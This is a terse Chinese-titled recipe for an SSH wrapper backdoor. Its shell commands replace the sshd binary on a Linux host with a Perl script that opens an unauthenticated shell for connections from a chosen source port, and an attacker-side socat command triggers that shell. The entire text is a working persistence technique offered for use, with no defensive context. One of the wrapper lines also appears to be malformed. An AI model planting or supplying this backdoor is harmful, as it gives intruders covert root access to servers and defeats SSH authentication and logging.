SSH wrapper后门

>cd /usr/sbin
>mv sshd ../bin
>echo '#!/usr/bin/perl' >sshd
>echo 'exec "/bin/sh" if (getpeername(STDIN) =~ /^..4A/);' >>sshd
>echo 'exec {"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
>chmod u+x sshd
>/etc/init.d/sshd restart
攻击机执行
>socat STDIO TCP4:192.168.0.110:22,sourceport=13377